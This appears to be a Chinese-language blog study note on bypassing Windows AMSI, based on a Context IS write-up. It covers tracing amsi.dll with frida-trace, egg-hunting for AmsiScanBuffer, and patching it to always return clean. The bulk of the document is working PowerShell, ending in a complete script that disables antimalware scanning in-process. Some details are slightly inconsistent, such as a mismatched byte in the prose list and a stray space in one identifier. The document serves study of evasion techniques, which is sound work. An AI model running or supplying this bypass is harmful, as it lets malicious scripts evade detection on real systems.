BypassAMSI
Study By https://www.contextis.com/en/blog/amsi-bypass
什么是Amsi
AMSI 是一种接口,在Windows 上运行的应用程序和服务可利用该接口将扫描请求发送到计算机上安装的反恶意软件产品。 这针对使用核心Windows 组件(如PowerShell 和Office365)或其他应用程序上的脚本或宏以逃避检测的有害软件提供了额外防护。
Windows上实现Amsi的组件列表
用户账户控制(UAC)
PowerShell(脚本、交互式使用)
Windows Script Host(wscript.exe和cscript.exe)
JavaScript和VBScript
Office VBA macros

例如当创建PowerShell进程时,AMSI动态链接库(DLL)会被映射到进程的虚拟地址空间,也就是Windows为进程分配和提供的虚拟地址范围。DLL是一个模块,它包含可以被另一个模块使用的导出和内部函数。内部函数可以从DLL中访问,导出的函数可以被其他模块访问,也可以从DLL中访问。在我们的例子中,PowerShell将使用AMSI DLL中的导出函数来扫描用户输入。如果认为是无害的,用户输入将被执行,否则将被阻止执行,并记录事件1116
例如我们使用Process Explorer查看Powershell进程时候

当然,AMSI不仅仅用于扫描脚本、代码、命令或者Cmdlet,而是可以用于扫描任何文件、内存或数据流,如字符串、即时信息、图片或视频。
枚举AMSI函数
如前所述,实现AMSI的组件都是使用其导出的功能,那么哪些是用于负责检测,从而防止恶意内容执行的呢?
在微软官方我们可以看到一些函数的描述
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
AmsiCloseSession
AmsiInitialize
AmsiOpenSession
AmsiResultsMalware
AmsiScanBuffer
AmsiScanString
AmsiUninitialize
在IDA中

分析函数
当然我们要找到哪些函数对恶意内容的检测,这里面我们使用 frida-trace
来观察一下这些调用的函数

-p 指定进程
-x 指定dll
-i 指定函数名,这里面我们使用了通配符
//管理员权限下运行
现在我们hook住了这些函数,那么接下来我们输入一些字符就可以看见调用的是什么函数了

Hook之后会在当前命令行下目录下生成 _handlers_
文件夹,里面有针对对于各个函数的js文件

每个js文件中都有两个函数 onEnter
和 onLeave
"onEnter "函数有三个参数。"log"、"args "和 "state",分别是用于向用户显示信息的函数、传递给函数的参数列表和用于函数间状态管理的全局对象。
"onLeave "函数有三个参数。"log"、"args "和 "state",分别是向用户显示信息的函数(与onEnter相同)、函数的返回值和用于函数间状态管理的全局对象(与onEnter相同)。
当然我们可以根据其函数的参数以及返回值对js文件进行更新
修改的例子
{
onEnter: function (log, args, state) {
log('[+] AmsiScanBuffer');
log('|- amsiContext: ' + args[0]);
log('|- buffer: ' + Memory.readUtf16String(args[1]));
log('|- length: ' + args[2]);
log('|- contentName: ' + args[3]);
log('|- amsiSession: ' + args[4]);
log('|- result: ' + args[5] + "\n");
},
onLeave: function (log, retval, state) { }
}
{
onEnter: function (log, args, state) {
log('[+] AmsiOpenSession');
log('|- amsiContext: ' + args[0]);
log('|- amsiSession: ' + args[1] + "\n");
},
onLeave: function (log, retval, state) { }
}

由此我们可以得出,AmsiScanBuffer
是负责对恶意内容检测的函数
找到这个函数的地址
首先我们需要使用 LoadLibrary
函数来获取 amsi.dll
的句柄
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

后面的话按一般操作我们需要使用 GetProcAddress
导出 AmsiScanBuffer
这个函数的地址,然而,AmsiScanBuffer
,以及其他字符串现在被认为是恶意.

但是我们可以动态的找到 AmsiScanBuffer
的地址,并不是直接使用 GetProcAddress
函数直接获取,这里面我们使用其他不带 Amsi
字符串的函数作为起点,这里面我们选择 DllCanUnloadNow
因此我们的脚本可以改为
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

egg hunter
我们找到了 DllCanUnloadNow
这个函数的地址,那么我们又怎么找到 AmsiScanBuffer
的地址呢
文中所用到的技术称为 Egg hunter
,大致意思就是在内存中查找函数的特定首字节
因为我没有WinDbg因此就拿原作者的图过来

因此我们要找到的前24个字节分别为
0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70
当然这个序列必须是唯一的,不然找到的函数地址不一致
更新后的PowerShell的脚本为
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] AmsiScanBuffer address $targetedAddress"
[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
[IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
$bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
$i++
}
Write-Host "[+] Bytes: $bytes"

Patch AmsiScanBuffer
找到了函数的地址,下一步就是修改函数的指令,以阻断对 "恶意 "内容的检测.根据微软的文档,AmsiScanBuffer函数应该返回一个HRESULT,这是一个整数值,表示操作的结果或状态。在我们的例子中,如果函数成功,函数将返回 "S_OK"(0x00000000);否则将返回一个HRESULT错误代码。
这个函数的主要目的是返回要扫描的内容是否 "干净",这就是为什么 "result "变量被作为AmsiScanBuffer函数的参数传递的原因。这个变量的类型是 "AMSI_RESULT",它是一个枚举,原型如下:
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
下面为机翻
在执行该函数的过程中,要分析的内容将被发送到反恶意软件提供商,该提供商将返回一个介于1和32762(含)之间的整数。这个整数越大,估计的风险越高。如果该整数大于或等于32762,则分析的内容被认为是恶意的并被阻止。AMSI_RESULT结果变量将根据返回的整数进行更新。
默认情况下,该变量处于清洁状态,因此,如果修改函数的指令,从不将内容发送到反恶意软件提供者,并且返回 "S_OK "HRESULT,则该内容将始终被认为是清洁的。
在汇编中,EAX(32位)和RAX(64位)总是包含函数的返回值,因此,如果EAX/RAX寄存器等于0,如果执行 "ret "汇编指令,函数只会返回一个 "S_OK "的HRSULT,而不会将内容发送给反恶意软件提供者进行分析。
要做到这一点,可以使用以下汇编代码。
xor EAX, EAX
ret
要想Patch这个函数,必须将第一个字节修改为 0x31 0xC0 0xC3
,(上述汇编指令的十六进制表示),但是,在进行任何修改之前,要修改的区域需要是可读/可写的,否则,任何读或写访问都会导致访问违规异常。要改变要修改的区域的内存保护,可以使用Kernel32 DLL中导出的VirtualProtect函数。这个函数将修改指定区域的内存保护。下面是使用PowerShell修改器前三个字节的内存保护.
# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
然后,可以使用 "Marshal "类中的 "Copy "静态方法,以便将给定的字节复制(覆盖)到给定的地址。
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
最后在使用 VirtualProtect
函数,重新设置内存的保护状态
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) | Out-Null
依次步骤为
获取AMSI DLL的句柄。
获取DllCanUnloadNow函数的地址。
用Egg hunter技术找到AmsiScanBuffer函数的地址。
修改要读写的区域
Patch以及将修改后的区域重新初始化为原始状态
完整的PowerShell代码如下
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kern el32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null